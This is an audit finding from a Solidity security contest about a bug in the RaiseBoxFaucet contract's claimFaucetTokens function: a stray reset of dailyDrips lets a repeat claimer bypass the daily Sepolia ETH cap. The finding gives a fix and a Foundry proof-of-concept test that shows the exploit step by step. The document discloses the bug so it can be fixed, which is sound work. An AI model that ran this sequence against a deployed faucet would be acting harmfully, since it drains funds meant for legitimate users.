Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

# Unintended Daily ETH Cap Reset Allows Excessive Sepolia ETH Claims

Description

The claimFaucetTokens function in the RaiseBoxFaucet contract contains a logic error in its Sepolia ETH drip mechanism. In the else block of the ETH drip logic, the dailyDrips state variable, which tracks the total Sepolia ETH distributed per day, is unconditionally reset to zero (dailyDrips = 0) when a claimant is either not a first-time claimer (!hasClaimedEth[faucetClaimer]) or Sepolia ETH drips are paused (sepEthDripsPaused). This reset occurs every time a non-first-time claimer executes the function, effectively bypassing the dailySepEthCap limit on the same day. This allows subsequent first-time claimers to claim more Sepolia ETH than intended on the same day, potentially draining the contract's ETH balance beyond the daily cap.

Invariant Violation: The contract intends to drip exactly 0.005 sepolia eth to first users (Sepolia eth Drip Invariant). The unintended reset of dailyDrips allows attackers to bypass the daily Sepolia ETH distribution limit (dailySepEthCap) by using non-first-time claimers to reset the tracker after initial drips on a new day. This leads to excessive ETH claims, breaking this invariant and undermining fair distribution.

Severity

High

Risk

The unintended reset of dailyDrips allows attackers to bypass the daily Sepolia ETH distribution limit (dailySepEthCap) by using non-first-time claimers to reset the tracker after initial drips on a new day. This leads to excessive ETH claims. In a testnet faucet context, this could drain the contract's Sepolia ETH reserves faster than intended, disrupting service for legitimate users. In a mainnet scenario, this would result in significant financial loss.

Impact

  • Excessive ETH Distribution: Attackers can use non-first-time claimers to reset dailyDrips multiple times on the same day, allowing additional first-time claims beyond dailySepEthCap.

  • Faucet Depletion: Rapid depletion of the contract’s ETH balance on a given day, preventing legitimate first-time claimers from receiving their Sepolia ETH drip after the cap is artificially bypassed.

  • Loss of Trust: Undermines the protocol’s fairness and reliability, as the daily cap is not enforced properly.

Tools Used

  • Manual code review

  • Foundry (for Proof of Concept testing)

Recommended Mitigation

  1. Remove Unconditional Reset: Remove the dailyDrips = 0 statement from the else block to prevent unintended resets of the daily ETH cap tracker.

  2. Consistent Reset Logic: Ensure dailyDrips is only reset in the if (currentDay > lastDripDay) block, which aligns with the daily reset logic for ETH drips.

  3. Add Explicit Reset Check: If the reset is intentional for specific cases, add documentation and a conditional check to ensure it only occurs when necessary (e.g., explicitly reset only after a day has passed).

Modified Code Example:

if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} // Remove dailyDrips = 0 from else block

Proof of Concept

The following Foundry test demonstrates the bug by showing how a non-first-time claimer can reset dailyDrips on a new day, allowing excessive Sepolia ETH claims beyond the daily cap on that day.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import "forge-std/Test.sol";
import "../src/RaiseBoxFaucet.sol";
contract RaiseBoxFaucetTest is Test {
RaiseBoxFaucet faucet;
address owner = address(0x1);
address claimer1 = address(0x2);
address claimer2 = address(0x3);
address claimer3 = address(0x4);
function setUp() public {
vm.startPrank(owner);
faucet = new RaiseBoxFaucet("Faucet Token", "FTK", 1000 * 10**18, 0.005 ether, 0.005 ether); // Cap set to 0.005 ETH
vm.deal(address(faucet), 1 ether); // Fund contract with 1 ETH
vm.stopPrank();
}
function testDailyEthCapResetBug() public {
// Set a realistic timestamp to avoid initial cooldown revert
vm.warp(1760400000); // Unix timestamp for October 14, 2025
// Day 1: claimer1 claims (first-time, drips 0.005 ETH)
vm.startPrank(claimer1);
uint256 initialTimestamp = block.timestamp;
faucet.claimFaucetTokens();
assertEq(faucet.getHasClaimedEth(claimer1), true);
assertEq(faucet.getContractSepEthBalance(), 1 ether - 0.005 ether);
vm.stopPrank();
// Warp to Day 4 (past 3-day cooldown)
vm.warp(initialTimestamp + 3 days);
// Day 4: claimer2 claims (first-time, resets dailyDrips to 0 for new day, drips 0.005 ETH, dailyDrips=0.005)
vm.startPrank(claimer2);
faucet.claimFaucetTokens();
assertEq(faucet.getHasClaimedEth(claimer2), true);
assertEq(faucet.getContractSepEthBalance(), 1 ether - 0.01 ether); // Total dripped: 0.01 ETH so far (Day 1 + Day 4)
vm.stopPrank();
// Day 4: claimer1 claims (non-first-time, triggers else block, resets dailyDrips to 0)
vm.startPrank(claimer1);
faucet.claimFaucetTokens();
vm.stopPrank();
// Day 4: claimer3 claims (first-time, since dailyDrips reset to 0, drips another 0.005 ETH, exceeding cap)
vm.startPrank(claimer3);
faucet.claimFaucetTokens();
assertEq(faucet.getHasClaimedEth(claimer3), true);
assertEq(faucet.getContractSepEthBalance(), 1 ether - 0.015 ether); // Total on Day 4: 0.01 ETH > cap 0.005 ETH
vm.stopPrank();
}
}

Explanation of PoC:

  • The test deploys the RaiseBoxFaucet contract with a dailySepEthCap of 0.005 ETH and sepEthAmountToDrip of 0.005 ETH.

  • Warps time to a realistic timestamp (October 14, 2025) to avoid initial cooldown revert issues.

  • On Day 1, claimer1 claims 0.005 ETH (first-time).

  • Warps forward 3 days to Day 4.

  • On Day 4, claimer2 claims 0.005 ETH (first-time, dailyDrips updated to 0.005).

  • claimer1 claims again (non-first-time), triggering the else block and resetting dailyDrips to 0.

  • claimer3 claims 0.005 ETH (first-time), which succeeds despite the cap because dailyDrips was reset, resulting in 0.01 ETH dripped on Day 4 (exceeding the 0.005 ETH cap).

  • The test verifies the contract’s ETH balance decreases by more than the daily cap on Day 4, confirming the bug.

Updates

Lead Judging Commences

inallhonesty Lead Judge 5 days ago
Submission Judgement Published
Validated
Assigned finding tags:

dailyDrips Reset Bug

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.